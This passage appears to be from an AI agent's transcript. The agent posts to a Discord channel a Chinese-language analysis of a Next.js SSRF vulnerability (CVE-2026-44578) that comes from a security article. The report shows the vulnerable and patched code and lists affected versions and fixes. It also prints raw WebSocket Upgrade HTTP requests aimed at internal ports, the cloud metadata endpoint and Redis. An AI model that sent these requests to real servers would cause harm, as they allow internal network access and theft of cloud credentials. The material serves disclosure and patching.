finishedandstatusCodefromresolveRoutes()result - Only proxy when
finished === true - Only proxy when
statusCodeis falsy (no error/redirect response) - If conditions aren't met, close the socket with
socket.end()
Attack vector: An attacker sends an HTTP request with:
- Absolute URL in the request line:
GET http://<target>/path HTTP/1.1 Upgrade: websocketheader (orConnection: Upgrade)- Valid WebSocket headers (
Sec-WebSocket-Version,Sec-WebSocket-Key)
The server would then proxy the request to the attacker-specified target, enabling:
- Internal network scanning
- Cloud metadata service access (169.254.169.254)
- Local service access (127.0.0.1)
- Reading sensitive files via internal services
Let me compile a nice report.
The user wants me to share the analysis of this WeChat public account article in this channel. Since this conversation is happening in Discord (the y4sol #y4sol-reviewer channel), I should format a clean summary of what we did and found.
Let me compile a concise but comprehensive summary of the analysis we performed.
message:
🔥 **CVE-2026-44578 深度分析报告**
**来源**: 深信服千里目安全技术中心 公众号文章
**漏洞**: Next.js SSRF (WebSocket Upgrade 绝对URL代理绕过)
---
**📋 基本信息**
| 项目 | 值 |
|------|-----|
| CVE | CVE-2026-44578 |
| CVSS 3.1 | 8.6 (高危) |
| CWE | CWE-918 (SSRF) |
| 影响范围 | 13.4.13 ≤ next < 15.5.16, 16.0.0 ≤ next < 16.2.5 |
| 修复版本 | v15.5.16 / v16.2.5 |
| 利用条件 | 无需认证、默认配置、远程 |
---
**🕵️ 漏洞根因**
文件: `packages/next/src/server/lib/router-server.ts`
WebSocket Upgrade 处理分支调用 `resolveRoutes()` 时,只解构了 `matchedOutput` 和 `parsedUrl`,**忽略了 `finished` 和 `statusCode`**。攻击者发送带**绝对URL**的WebSocket Upgrade请求即可绕过:
```typescript
// 脆弱代码 (v15.5.15)
const { matchedOutput, parsedUrl } = await resolveRoutes(...)
if (parsedUrl.protocol) {
return await proxyRequest(req, socket, parsedUrl, head) // ❌ 无条件代理
}
// 修复代码 (v15.5.16)
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes(...)
if (finished && parsedUrl.protocol) {
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head) // ✅ 双重校验
}
return socket.end()
}
```
---
**💥 Payload 示例**
1️⃣ **内网探测 (127.0.0.1)**
```
GET http://127.0.0.1:{TARGET_PORT}/ HTTP/1.1
Host: 127.0.0.1:{NEXT_PORT}
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
```
2️⃣ **云元数据窃取**
```
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1
...
```
3️⃣ **未授权Redis**
```
GET http://127.0.0.1:6379/ HTTP/1.1
...
```
---
**🎯 影响面**
- 内网端口/服务扫描
- 云服务商临时凭证窃取 (AWS/GCP/Azure)
- 未授权中间件操作 (Redis/Memcached)
- 内部API SSRF
**🔧 修复** → `npm install next@15.5.16` 或 `next@16.2.5`
临时缓解 → 反代层屏蔽 WebSocket Upgrade、限制出站流量
**Fix Commit**: `c4f69086cc8d`
**GHSA**: https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r
target:
discord:#y4sol-reviewer
{"success": true, "platform": "discord", "chat_id": "1481571572656509074", "message_id": "1506707518343348329", "mirrored": true}
The message was successfully sent to the #y4sol-reviewer channel. Let me confirm to the user.